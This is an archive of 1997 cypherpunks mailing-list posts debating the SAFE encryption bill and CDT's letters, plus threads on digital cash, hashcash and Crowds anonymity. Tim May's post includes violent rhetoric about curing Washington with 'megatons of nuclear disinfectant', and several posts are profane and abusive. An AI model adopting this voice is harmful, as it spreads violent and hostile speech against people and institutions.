To: declan@well.com
Subject: Re: SAFE Bill discussion
In-Reply-To: <v0300782faf8eae00618f@[166.84.253.73]>
Message-ID: <v03007839af8f6a35bc42@[166.84.253.73]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:49 AM -0400 5/2/97, Declan McCullagh wrote:
>Two quick points:
>
>* Didn't CDT, unlike the other groups like EPIC/ACLU/EFF/ATR, send a
>letter to the House subcommittee on April 29 urging that SAFE be approved
>without any changes? (I'm in Oklahoma right now and I have a copy of that
>letter in my office in DC, but that's what I remember.)

Declan, I can't believe you did your research so poorly.  Go look at the
Internet Privacy Coalition letter at
http://www.privacy.org/ipc/safe_letter.html or go to the crypto.com SAFE
bill page at http://www.crypto.com/safe_bill/ and read the pointer from
there.

You'll see that CDT signed the very same letter that EPIC, ACLU, EFF, ATR,
Eagle Forum, VTW, and PGP all signed.

Since you've been laboring under this mistaken impression, you owe somebody
at CDT a big fucking apology.

-S

>
>
>On Thu, 1 May 1997, Shabbir J. Safdar wrote:
>
>> The Administration hates this bill, because it threatens their ability to
>> roll out Key Recovery.  They've said as much in the letter Declan forwarded:
>>
>>    "The bill could be read as prohibiting the United States government
>>     from using appropriate incentives to support a key management
>>     infrastructure and KEY RECOVERY." [emphasis added]
>>
>> Do you think that if this bill helped the Administration, that they'd be
>> out there urging the subcommittee chairman to stop it?  I think not.
>>
>> I'm also puzzled by the fact that CDT is being criticized pretty much
>> solely, even though the entire Internet Privacy Coalition, and several
>> other groups all wrote a letter of support of the bill with only a
>> criticism of one provision.  However the overall statement was of support.
>> (see http://www.privacy.org/ipc/safe_letter.html)
>>
>> As far as I can tell, everyone criticizing the bill either thinks that:
>>
>> 	a) CDT actually runs all these groups behind the scenes, or
>> 	b) pretty much all of the Internet advocates believe that this bill
>>            is needed and are doing the best they can with what Congress has
>>            written.
>>
>> You're pretty hard on CDT, but EFF, EPIC, the ACLU, VTW, Americans for Tax
>> Reform, the Association for Computing Machinery, Computer Professionals for
>> Social Responsiblity, Eagle Forum, the National Association for Criminal
>> Defense Lawyers, and PGP Inc all signed this letter.
>>
>> Can you consider, perhaps, for a second, that critics of SAFE are being
>> unreasonable?  I would think so, as critics of SAFE include the Clinton
>> Administration.  Is that the kind of company that cypherpunks keep?
>>
>> Here's a great excerpt from the Internet Privacy Coalition letter:
>>
>>   The pending bill provides a positive framework for the reforms that are
>>   long overdue in this critical area. It makes clear that the sale or use
>> of
>>   encryption, a vital technique to promote network security and individual
>>   privacy, should not be restricted in the United States. This is the view
>>   widely shared by users of the Internet and the computer and communications
>>   industry. It was also a central recommendation of the
>>   report of the National Research Council last year.
>>
>> Looks like widespread support from people who study this issue for living.
>> I'm glad to be counted among them.
>>
>> -S
>>
>> -Shabbir
>>
>>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 3 May 1997 01:37:49 +0800
To: cypherpunks@cyberpass.net
Subject: The Virtues of Extremism
Message-ID: <v03007801af8fdde792a8@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



It seems to me we're seeing an obvious manfestation of the classic "inside
the Beltway" mentality. The vocal SAFE suporters are so closely aligned
with the legislative process that they can't see the forest for the trees.

I won't even speculate too much about the dynamics of why this is so, but
it's been seen time and time again. Maybe it's that their vision becomes
tunnel vision, sort of like the way a pilot focusses on his altimeter,
tapping it and not quite believing it, as his plane crashes into the
ground. Maybe this is the only world they know, the world of lobbying.
Maybe they do truly believe it's "the best deal we can get."

Well, I am not inside the Beltway, and I don't think much of _anything_
Washington does. I refused to renew my membership in the National Rifle
Association when it became clear they were "playing the game," going along
with repressive, gun-grabbing legislation because "this is the best deal we
can get."

The NRA lost a lot of members with this stance, and saw gun ownership
rights eroded at every turn. The new leadership, elected after this fiasco,
pledged that no longer would they "work with" repressive legislation. We'll
see what happens. Meanwhile, as with the Cypherpunks movement, vastly more
radical steps are needed to sanction the gun grabbers like Swinestein and
her leftist allies.

(Hint: the more extremist organizations I now work with are probably one of
the areas I'm apparently committing putative felonies in. We don't treat
the gun laws as valid, and will defend our rights against any gun grabbers.
That we use PGP means we could easily face the maximum CDT-approved
sentence. As Marc Rotenberg reminded us, the CDT wrote: ""CDT strongly
urges you to report H.R. 695, the SAFE Act, out of the Courts and
Intellectual Property Subcommittee without amendment." Fuck Congress, and
fuck CDT.)

"Extremism in the defense of liberty is no vice."

Now more than ever Cypherpunks need to take action. If SAFE becomes law,
every single organization which supported it should be held accountable.
That means PGP, Inc., if indeed PGP, Inc. supports this repressive
legislation.

Perhaps we should think about sending letters, summarizing the points we've
been making here, to all of these organizations which signed the letter
supporting SAFE. Perhaps many of the organizations spent little time
thinking about the issues. Perhaps Roger Schlafly should speak to his
mother (head of the Eagle Forum, as I recall) about the chilling effects of
criminalizing crypto use when  any of the tens of thousands of Big
Brother-defined "prosecutable offenses" are allegedly committed.

Perhaps we should ask Phil Zimmermann why PGP, Inc. supports this. Or
perhaps he'll finally see the light when some of his anti-nuke friends are
charged with using his own product, PGP, in connection with their
"prosecutably offenses" at the Nevada Test Site! That would be ironic
indeed.

It's time we simply give up on Washington and its criminal actions.
Washington is a cancer than can only be cured with a few megatons of
nuclear disinfectant.

--Tim May, still a felon, and soon to be even more of a felon if he uses
crypto in support of his activities

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 3 May 1997 00:17:41 +0800
To: cypherpunks@toad.com
Subject: Re: SAFE Bill / Fuck You (an inch at a time)
In-Reply-To: <199705020430.VAA16643@fat.doobie.com>
Message-ID: <199705021545.KAA08767@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199705020430.VAA16643@fat.doobie.com>, on 05/01/97 at 10:30 PM,
   nobody@huge.cajones.com (Huge Cajones Remailer) said:


>  We put up with crap from our government that we wouldn't accept from
>someone trying to sell us a mouthwash. The reason that we're not all
>drinking the "New Coke" is that D.C. has siphoned off all of the spin
>doctors/brainwashers from the corporate advertising industry.

Well there must be a few spin-doctors left as we are drinking "New Coke".
:)

The whole "New Coke/Orriginal Coke" was one of the best con jobs I have
ever seen. The Coca-Cola Company had a small problem, the cost of sugar.
It's compitition was using corn suryp as a sweetner in their products which
was much cheaper than the sugar Coca-Cola was using in theirs. 

Now how were they going to switch from sugar to corn suryp in Coke without
lossing a portion of their customers because of the change in taste? NEW
COKE!!

Here is what they did:

Come out with NEW COKE which was a major formula change.
Drop OLD COKE at the same time.
Wait a few months while the natives are restless over the change. Bring
back "OLD COKE" due to customer demmand (making Coca-Cola Inc. the "good"
guys). Don't tell anyone that you have switched from sugar to corn suryp
(the sheep will never notice).

Vola!! Now Coca-Cola has dramatically increased their profits and won a
major PR campain (they care about their customers) sales are up costs are
down and the sheep are happy.

Now I have NEVER seen the neanderthals in DC ever pull off somthing this
good. :)


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: If Windows sucked it would be good for something.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM2obkI9Co1n+aLhhAQFHfQQAr3ZCGiGvI2x1hWtcjlSIlt13uKG9RLvW
3L4Y85PdSJdcdx+M5fPBpiwGwVEw1AuGuV5irWvumJZFhC2QazDB5Rs/SfTigCJw
B9LEqftJi3J1UHzNFRGpdR7H1YR4bmrw95shbu1ufbloQwh2r9ykRHF3uXsRHuo8
FH2Q9S3J1yI=
=CvCv
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 2 May 1997 19:10:18 +0800
To: rah@shipwright.com
Subject: digital cc transactions, digital checks vs real digital cash
In-Reply-To: <v0302090aaf8e840675e3@[139.167.130.246]>
Message-ID: <199705020937.KAA00881@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Bob Hettinga <rah@shipwright.com> writes:
>
[metaphors, <html tags> snipped, do you _have_ to :-)]
>
> Adam Back <aba@dcs.ex.ac.uk> writes:
> > How about this, rather than interface your ecash system with US
> > dollars yourself through credit cards/ debit cards/ cheques / cash,
> > just set up an entirely disconnected system.
> 
> Nah. I want to have real money backing it up. Any attempt to make money
> less negotiable reduces its usefulness. Remember the Soviet Ruble? An
> extreme example in the opposite direction, surely, but you get the idea.

It's not an attempt to make money less negotiable, though this is of
course the effect.  It's just another approach to avoiding the banking
regulations.  As you admit the market will take care of the exchange
mechanism, it just adds inconvenience in locating the exchange
mechanisms, and the stigma that the mechanisms are not official.

> > However this means you've got to trust the bank not to mint unlimited
> > amounts of money for it's own use.
> 
> Right. That's why you have a separate trustee holding the reserve capital.

So now you get to trust the trustee.  Doesn't seem like a big
improvement.

> Anyway, in the first stages, I claim a trustee should be an actual, real,
> um, "hoity-toity", bank. In the same way that SET and Cybercash and ATM
> machines "blind" their transactions through the host bank onto a settlement
> network to the customer's own bank, there can be sufficient blinding of the
> transaction through the trustee so that the only thing the trustee sees is
> a confirmation to pay and a settlement wire from the cash purchaser's bank.

I don't think VISA and friends want anonymous settlement, they like
comprehensive transaction logs to keep people like FinCEN happy.
You're not suggesting that SET offers anonymity are you?  

Anyway, I'm not against this initial approach necessarily.  Once
you've got one non-anonymous electronic payment system with low entry
costs to obtaining both a merchant and a purchaser, and is widely
accepted, you can boot strap an anonymous payment system off it.

The net model is that it should be that a merchant and a customer
account are the same, and can be had by filling in a web page in real
time.  However, aren't they trying to make big bucks out of merchant
accounts?

Will SET and Cybercash make it easier to be a merchant than it is to
be a VISA merchant?  Becoming a credit card merchant is a rather
onerous expensive, slow process I hear.

> Of course, at some point, the trustee can just hold other bearer
> certificates instead of keeping the issuer's reserves in book-entry assets.
> When there are other bearer certificates to hold, anyway...

You lost me there.  Above you described the trustee's function as
holding the ability to issue money to keep the bank honest.  What _is_
a bearer certificate in this discussion?  A digitally signed share
certificate, or other representation of an unit of value?

Who issues the bearer certificates?  What does possesion of the bearer
certificate represent in terms of ownership of assetts?

> How you issue those certificates mechanically is not nearly as important as
> the fact that you *can* issue them uniquely. Ideas like hashcash and
> micromint work real well for very small transactions, for example,
> precisely because of the cost to generate the first one in the series,
> which forces you to print a whole bunch of subsequent ones to pay for the
> computational resources you've used. 

Actually it's micromint which has the threshold function feature
through use of k-way hashes, my hash cash is quite simple, and
probably impractical to use as a basis for a currency you wished to
connect to a real currency.  There is a cost of printing hashcash
coins, which can be made high (say a weeks CPU for a P100), but
basically anyone can mint all the money they have CPU power for.  This
is interesting for throttling systematic abuse of limited net
resources, and combining with a digicash system you could have
transferability as well as anonymity.  However the stability of the
money supply is probably not up to it.  It's kind of like allowing
anyone to print money, but making it cost them in time only; the
resources they already have.

> However, once again, um, no offense, what cryptographic protocol you
> use to generate the certificate is the functional equivalent of
> <analogy-warning> doodling, the process which makes those complex
> graphic fills on paper currency which were designed to moire up any
> attempt to photoengrave a certificate copy. </analogy> The point is,
> you need cryptography for a digital bearer certificate market, but
> it's not sufficient to create that market.

You think you can create a digital bearer certificate market on the
back of your architecture of issuers, and trustees.  I don't see a
great difference between this and a traditional bank.  How is it going
to reduce the per transaction overhead, and how is it in any way
distributed.  (I presume your term "geodisic" refers to a distributed
value transfer system).

> > But if you've got multiple banks then you've got to have an exchange
> > mechanism.  The market could probably take care of this, setting
> > exchange rates based on banks reputations.
> 
> Exactly. For instance, (hint, hint) if someone were to build
> Eudora/Netscape/Quicken plugins for FSTC electronic checks, and a
> plug-and-play deposit server for banks to receive them and convert them
> into ACH transactions, who says you need the ACH system to settle the
> checks anymore? All the different bank servers could just clear against
> themselves on the net at some point, cutting their ACH fees out completely.
> Someday.

What is an ACH transaction?  A electronic bank clearing protocol?
FSTC is Financial Securities Trading... electronic checks?

Isn't this going to be just another electronic check, with full
transaction log, and associated overhead, banking regulations giving
banks enough effective monopoly to charge high handling fees?  I don't
find electronic checks that interesting.

What we want is fully anonymous, ultra low transaction cost,
transferable units of exchange.  If we get that going (and obviously
there are some people trying DigiCash, and a couple of others), the
banks will become the obsolete dinasaurs they deserve to become.  I
think this would be a good outcome, and I'd rather see this happen
than see anyone go to any great effort to get the banks involved.  Let
them stick to electronic "cash" systems (what a misuse of the word)
based on credit cards and checks.  See how that survives against
_real_ distributed electronic cash with transaction costs 10 to 100
times lower, with 0 red tape barriers to entry for both sellers and
buyers.  This is what I find interesting.

The net is becoming more and more important as an mechanism for
information exchange in it's own right.  This is why I think just
cutting the ties with the physical world and having a payment system
working now would be interesting.  Deployment wins and all that.
Hashcash is completely distributed; there is NO bank.  You can not
forge hash cash, you can not double spend hash cash.  You can print as
much hashcash as you have CPU time for.  You can resell hashcash for
real money on an unoffical exchange, or trade hashcash for different
services.

> > However it would be nicer to have something which required no trust
> > and which had no posssibility of cheating rather than relying on
> > reputation to sort them out.
> 
> Actually, I think there is no such thing as finance without reputation.
> :-). I'd be very interested to see how you can prove otherwise...

I don't see any particular inherent reason why an electronic payment
protocol can't be designed which requires no trust of the bank; at
least it should be possible to arrange it so that the bank minting
funds for it's own use will be detected.  All you need is that the
protocol is publically verifiable.  Digicash already prevents double
spending through the database of protocoins.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 2 May 1997 18:22:13 +0800
To: hal@rain.org
Subject: Re: A new system for anonymity on the web
In-Reply-To: <199704261927.MAA02125@crypt.hfinney.com>
Message-ID: <199705020958.KAA00897@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Hal Finney <hal@rain.org> writes:
> Adam Back, <aba@dcs.ex.ac.uk>, writes:
> > The disadvantage of crowds is that it won't work to well over a 28.8k
> > modem.  Browsing the web is slow enough as it is, without having
> > traffic make multiple hops through modem users machines.
> 
> Good point.  More generally, a path will only be as fast as its slowest
> link.  I suggested to the authors that the crowds could be segregated
> by access speed, so that there could be separate crowd pools for 28.8
> modem users, for people who share connectivity over a limited-speed line,
> and for people who have their own direct high-speed link.
> 
> Theoretically, at least for long downloads, passing through multiple
> slow links shouldn't slow down the transmission, 

I'm not sure that this is so.

Ascii pic. consider Alice and Bob, without crowds:

        +----------+
        | Internet |
        +----------+
             | 2Mbits
          +-----+
          | ISP |
          +-----+
     28.8k/     \28.8k
         /       \
      +---+     +---+
      | A |     | B |
      +---+     +---+

When Alice and Bob are online, consider that they are actually using
their bandwidth most of the time.  I know I do; if I'm not using it I
hang up, with pay per second phone lines, you're likely to.

Now add in crowds where traffic from A is going through B, and traffic
from B is going through A:

                           +----------+
                           | Internet |
                           +----------+
                                 | 2Mbits
                              +-----+
                              | ISP |
                              +-----+
               14.4k for Alice/     \14.4k for Bob
                  14k for Bob/       \+14.4k for Alice
                          +---+     +---+
                          | A |     | B |
                          +---+     +---+

Now Bob and Alice each have 1/2 the bandwidth they had before.  Add
more users and longer hops and it gets worse.  Of course my claim that
Alice uses 100% of her bandwidth is probably an exaggeration.  There
will be idle times while she is reading.  However there will be times
when both Alice and Bob are downloading, for multiple users with
multiple hops it is likley that there will be more than one user
actively downloading at any time.

> just increase the latency.  I don't have a very clear picture about
> how long it would take to snake in and out of a bunch of people's
> modem lines en route to the web server.

I'm sure it's going to increase the latency too.  My ping times are
200ms from the PPP link alone (ie pinging the PPP server machine
itself).  Add to this that the members of the jondo / crowds pool may
not be on the same ISP, and you've got the additional overheads of
whatever latency is added by the cumulative latency between each of
the hops in the chain.

> If the latency does take an intolerable hit, maybe the idea we discussed
> for the "keep alive" transmission would work, where all the web page
> data gets downloaded with a single request.  (I should clarify that I
> was not suggesting that this be done all the time by default, but rather
> that it be an extension to the http protocol, a different GET request
> or a different parameter sent along with the GET.)



> Another idea, which loses more anonymity but is still as good as the
> Anonymizer, is to run your jondo on your ISP, if that is allowed.  Then
> other people's paths don't go through your modem, they just get turned
> around at the ISP level.  A spy at your ISP may be able to find out
> where you are browsing, but the average web site won't.

This compromise is probably retains a fair amount of anonymity.  The
ISP probably isn't loggin IP traffic, or incoming or outgoing web
proxy (jondo/crowds) traffic, and probably isn't actively attacking
your jondo process to see which bits are for you and which are being
forwarded.

I wonder if you could improve the security of this by trading off
against some additional bandwidth consumption for the ISP.  Say have
split the jondo in half, with two cooperating half-Jondos acting as a
single virtual jondo in such a way that someone with root access on
one machine but not the other, can't extract any useful information by
spying on that half of the jondo.

> > The other problem is the scalability of the strong systems like DC
> > nets or PipeNet.  Bandwidth is still scarce.
> 
> The Crowds people argued that their system automatically scaled, since
> you had more jondos ("web remailers") the more people who used it.  If
> average path length is constant then the anonymous web browsing method
> has a greater cost than the regular way, but it is a constant factor.

Crowds migh scale in this way, but DC nets and Pipenets don't.  Crowds
is a weaker cousin of DC nets and Pipenets.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Horton <jehorton@erols.com>
Date: Fri, 2 May 1997 22:47:36 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: unSAFE
In-Reply-To: <Pine.GSO.3.95.970502053413.14481B-100000@well.com>
Message-ID: <336A017A.7541@erols.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> 
> ---------- Forwarded message ----------
> Date: Fri, 2 May 1997 01:04:17 -0400
> From: Michael Sims <jellicle@inch.com>
> To: fight-censorship@vorlon.mit.edu
> Cc: Jonah Seiger <jseiger@cdt.org>, abd@cdt.org, Tim May <tcmay@got.net>,
>     declan@well.com
> Subject: unSAFE
> 
> Well, I've read Mr. Davidson's defense of the SAFE bill and of course
> Mr. May's earlier argument against it.  A few more comments.
> 
<deleted to save space> 
> 
> Although about the Clipper chip, if you go about 60% through the
> article he has a solid discussion of the EAA, IEEPA and the
> presidential power thereunder.  It's 50 U.S.C. Sec. 1701 and
> following.  Section 1702 there has the meat of it.
> 
> This Act allows the President, once he has declared a state of
> emergency, to regulate essentially any commerce with another nation,
> except those items directly identified as "speech" - magazines,
> papers, etc.
>

I am not an expert in these matters, but one could argue that electronic
communications is a form of speech, and that the use of the internet is
an implementation mechanism of free speech that correlates to media such
as magazines and papers, etc.  Perhaps this is why the net as a form of
electronic commerce is giving global governments regulatory fits.  The
laws were written with regard to tangible forms of media versus media in
the electronic age.

I would recommend that a watchful eye be cast about to monitor any
attempts at changes to the items identified as "speech" in the USC
sections outlined above, especially given the recent judicial decision
regarding the illegality of ITAR with respect to cryptographic systems.

> 
> President Clinton has twice declared a state of emergency regarding
> export control regulations, the latest on August 15, 1996.
<deleted to save space> 
>

Perhaps a worthy endeavor is to attempt a modification to the Trading
with the Enemies Act, given "global peace and stability" presently at
hand.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Sat, 3 May 1997 02:42:53 +0800
To: Jonah Seiger <rotenberg@epic.org>
Subject: Re: TWO Letters on SAFE
Message-ID: <199705021829.LAA28903@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:07 5/02/97 -0400, Jonah Seiger wrote:
>This is indeed true - CDT sent a separate letter and signed the IPC letter.
>
>As Marc Rotenberg knows very well, the legislative process is complicated.
>Marc also knows that Goodlatte, Coble, Lofgren, and the other subcommittee
>supporters of SAFE chose not to consider any amendments at the subcommittee
>markup, but rather to take up our concerns at the full committee.

You obviously meant, "ignore our concerns" rather than "take up our
concerns," right?!?

Because that is, more accurately, what they did and will do.

>Goodlatte's staff and the other sponsors of SAFE had worked very hard to
>prevent any amendments, hostile *and* friendly, at the subcommittee vote
>for fear of hostile amendments from the Administration and opponents of
>SAFE in the congress. A bill isn't worth much when it gets to the full
>Committee if it gets gutted at the Subcommittee.  Goodlatte wanted to get
>some momentum behind it before going into the expected all out fight at the
>full committee.

I see a issue that's not being addressed.  Presumably, in legislative
negotiations the theory behind including such a provision (the criminal
provision) is that there are people "out there" who would support it with
that provision present, but who would oppose it with that provision removed.
(Moreover, the theory would suggest that somebody believes that this bill
would be MORE likely to pass with the provision present than absent.)

Who, exactly, are these people?  Aside from a few government thugs, I really
don't see the groundswell.  Numerically, I think I'm safe in concluding that
there are in the citizenry, by far, more people who would support the SAFE
bill only with the provision removed than those who'd support it only with
the provision present.  We should insist on a bill which reflects the
desires of the public, NOT the government.

One more thing.  That idiot Clinton can easily veto this bill if he chooses
to do so.  The only way this bill is going to turn into law, I think, is if
he _doesn't_ veto it, and that will mean that he prefers getting its
"positives" (positive to him, at least), the criminal provision, and all
those "legitimate needs of law enforcement", and tolerating its "negatives"
(again, to him, at least.)

He may publicly oppose it, but I think that position is a fraud.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Rotenberg <rotenberg@epic.org>
Date: Fri, 2 May 1997 23:42:07 +0800
To: Michael Sims <cypherpunks@cyberpass.net
Subject: TWO Letters on SAFE
In-Reply-To: <Pine.LNX.3.95.970502084644.13849C-100000@vorlon.mit.edu>
Message-ID: <v0300780aaf8fc2572aac@[204.91.138.22]>
MIME-Version: 1.0
Content-Type: text/plain




Shabbir is a very good organizer and often very busy, which
may explain the confusion about the TWO letters that were
sent out regarding SAFE.

CDT sent a letter to Hon. Howard Conable, the chair of the
Subcommittee, on April 24 which said that "CDT strongly urges
you to report H.R. 695, the SAFE Act, out of the Courts
and Intellectual Property Subcommittee without amendment."
[The CDT letter is at
http://www.cdt.org/crypto/legis_105/SAFE/970424_CDT_ltr.html]

EPIC helped coordinate a different letter for the Internet
Privacy Coalition, which went to Rep. Goodlatte on April
28 and said

     While expressing our support for the measure, we wish
     also to state our concern about one provision contained
     in the bill. We believe that this provision, which would
     create new criminal penalties for the use of encryption in
     furtherance of a crime, could undermine the otherwise laudable
     goals of the legislation. For the reasons set forth below, we
     recommend that this provision be reconsidered when the Committee
     considers the bill.

The IPC letter was signed by 26 privacy groups, user organizations,
private companies, and trade associations. [The IPC letter is
at http://www.privacy.org/ipc/safe_letter.html ]


Marc Rotenberg
EPIC.




At 8:55 AM -0500 5/2/97, Shabbir J. Safdar wrote:
>At 8:49 AM -0400 5/2/97, Declan McCullagh wrote:
>>Two quick points:
>>
>>* Didn't CDT, unlike the other groups like EPIC/ACLU/EFF/ATR, send a
>>letter to the House subcommittee on April 29 urging that SAFE be approved
>>without any changes? (I'm in Oklahoma right now and I have a copy of that
>>letter in my office in DC, but that's what I remember.)
>
>Declan, I can't believe you did your research so poorly.  Go look at the
>Internet Privacy Coalition letter at
>http://www.privacy.org/ipc/safe_letter.html or go to the crypto.com SAFE
>bill page at http://www.crypto.com/safe_bill/ and read the pointer from
>there.
>
>You'll see that CDT signed the very same letter that EPIC, ACLU, EFF, ATR,
>Eagle Forum, VTW, and PGP all signed.
>
>Since you've been laboring under this mistaken impression, you owe somebody
>at CDT a big fucking apology.
>
>-S
>
>>
>>
>>On Thu, 1 May 1997, Shabbir J. Safdar wrote:
>>
>>> The Administration hates this bill, because it threatens their ability to
>>> roll out Key Recovery.  They've said as much in the letter Declan
>>>forwarded:
>>>
>>>    "The bill could be read as prohibiting the United States government
>>>     from using appropriate incentives to support a key management
>>>     infrastructure and KEY RECOVERY." [emphasis added]
>>>
>>> Do you think that if this bill helped the Administration, that they'd be
>>> out there urging the subcommittee chairman to stop it?  I think not.
>>>
>>> I'm also puzzled by the fact that CDT is being criticized pretty much
>>> solely, even though the entire Internet Privacy Coalition, and several
>>> other groups all wrote a letter of support of the bill with only a
>>> criticism of one provision.  However the overall statement was of support.
>>> (see http://www.privacy.org/ipc/safe_letter.html)
>>>
>>> As far as I can tell, everyone criticizing the bill either thinks that:
>>>
>>> 	a) CDT actually runs all these groups behind the scenes, or
>>> 	b) pretty much all of the Internet advocates believe that this bill
>>>            is needed and are doing the best they can with what Congress has
>>>            written.
>>>
>>> You're pretty hard on CDT, but EFF, EPIC, the ACLU, VTW, Americans for Tax
>>> Reform, the Association for Computing Machinery, Computer Professionals for
>>> Social Responsiblity, Eagle Forum, the National Association for Criminal
>>> Defense Lawyers, and PGP Inc all signed this letter.
>>>
>>> Can you consider, perhaps, for a second, that critics of SAFE are being
>>> unreasonable?  I would think so, as critics of SAFE include the Clinton
>>> Administration.  Is that the kind of company that cypherpunks keep?
>>>
>>> Here's a great excerpt from the Internet Privacy Coalition letter:
>>>
>>>   The pending bill provides a positive framework for the reforms that are
>>>   long overdue in this critical area. It makes clear that the sale or use
>>> of
>>>   encryption, a vital technique to promote network security and individual
>>>   privacy, should not be restricted in the United States. This is the view
>>>   widely shared by users of the Internet and the computer and
>>>communications
>>>   industry. It was also a central recommendation of the
>>>   report of the National Research Council last year.
>>>
>>> Looks like widespread support from people who study this issue for living.
>>> I'm glad to be counted among them.
>>>
>>> -S
>>>
>>> -Shabbir
>>>
>>>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sat, 3 May 1997 00:24:11 +0800
To: cypherpunks@toad.com
Subject: Re: SAFE Bill discussion
Message-ID: <199705021555.LAA00885@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Mac Norton wrote: 
> On Fri, 2 May 1997, Shabbir J. Safdar wrote:
> > By attacking the supporters of the bill, you're attacking CDT, the ACLU,
> > EPIC, VTW, EFF, Eagle Forum, Americans for Tax Reform, and PGP Inc.  You're
> > saying that all the Internet advocates have turned against crypto?
> 
> Criticizing the bill is not the same thing as "attacking" its
> supporters. Criticizing the arguments of those supporters in
> favor of the bill, and questioning seeming inconsistencies
> therein, is not the same thing as "attacking" those supporters.

> Nor does such criticism imply an accusation that all, or
> even some, of those supporters "have turned against crypto."
> 
> The illogical equlvalence you set up, however, does seem to
> be characteristic of these supporters' arguments.:)

  Nor does citing a litany of 'Libertarian Approved Sources of
Good and Righteousness" reduce the size of the stick getting
shoved up one's butthole, or the right and responsibility of
those who oppose this action to speak up.
  These fine, upstanding organizations that Shabbir speaks of
have all become a part of the system. They have learned to
play along with the compromise game, just like would-be
terrorists who give up their hostages one-by-one to the
'negotiators'.
  The secret of hostage negotiation is to convince your opponent
that you are his 'friend' and to convince him/her to be 'reasonable'.
(Read "compromise.")

  I recently had a lawyer who suggested that I take the 'deal'
that the prosecution was offering me, because it was a 'good
one', even though I was innocent.
  Fuck him. I acted on my own behalf and tore the prosecutor a
new asshole in court.
  The irony is that my lawyer, in the words of the judge, herself,
was "one of the better lawyers" in the community.

  Fuck the "CDT, the ACLU, EPIC, VTW, EFF, Eagle Forum, Americans 
for Tax Reform, and PGP Inc."
  And fuck Mother Teresa if she wants me to support the SAFE bill.
I don't care how many children she's saved, it has nothing to do
with my decision to fight against bad legislation.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Shabbir J. Safdar" <shabbir@vtw.org>
Date: Sat, 3 May 1997 00:21:27 +0800
To: Marc Rotenberg <cypherpunks@cyberpass.net
Subject: Re: TWO Letters on SAFE
In-Reply-To: <v03007839af8f6a35bc42@[166.84.253.73]>
Message-ID: <v0300783caf8f85df4188@[166.84.253.73]>
MIME-Version: 1.0
Content-Type: text/plain


Thanks Marc, for the efforts at clearing things.  The CDT letter was sent
to the subcommittee, for reasons we've all already talked about (that these
issues are better handled at the full committee).

The Internet Privacy Coalition letter, which we all signed, was sent to
Goodlatte and contains the following quote:

   For the reasons set forth below, we recommend that this provision be
   reconsidered when the COMMITTEE considers the bill. [emphasis added]

Note, that Committee means full Committee, not subcommittee.

-S


At 11:33 AM -0500 5/2/97, Marc Rotenberg wrote:
>Shabbir is a very good organizer and often very busy, which
>may explain the confusion about the TWO letters that were
>sent out regarding SAFE.
>
>CDT sent a letter to Hon. Howard Conable, the chair of the
>Subcommittee, on April 24 which said that "CDT strongly urges
>you to report H.R. 695, the SAFE Act, out of the Courts
>and Intellectual Property Subcommittee without amendment."
>[The CDT letter is at
>http://www.cdt.org/crypto/legis_105/SAFE/970424_CDT_ltr.html]
>
>EPIC helped coordinate a different letter for the Internet
>Privacy Coalition, which went to Rep. Goodlatte on April
>28 and said
>
>     While expressing our support for the measure, we wish
>     also to state our concern about one provision contained
>     in the bill. We believe that this provision, which would
>     create new criminal penalties for the use of encryption in
>     furtherance of a crime, could undermine the otherwise laudable
>     goals of the legislation. For the reasons set forth below, we
>     recommend that this provision be reconsidered when the Committee
>     considers the bill.
>
>The IPC letter was signed by 26 privacy groups, user organizations,
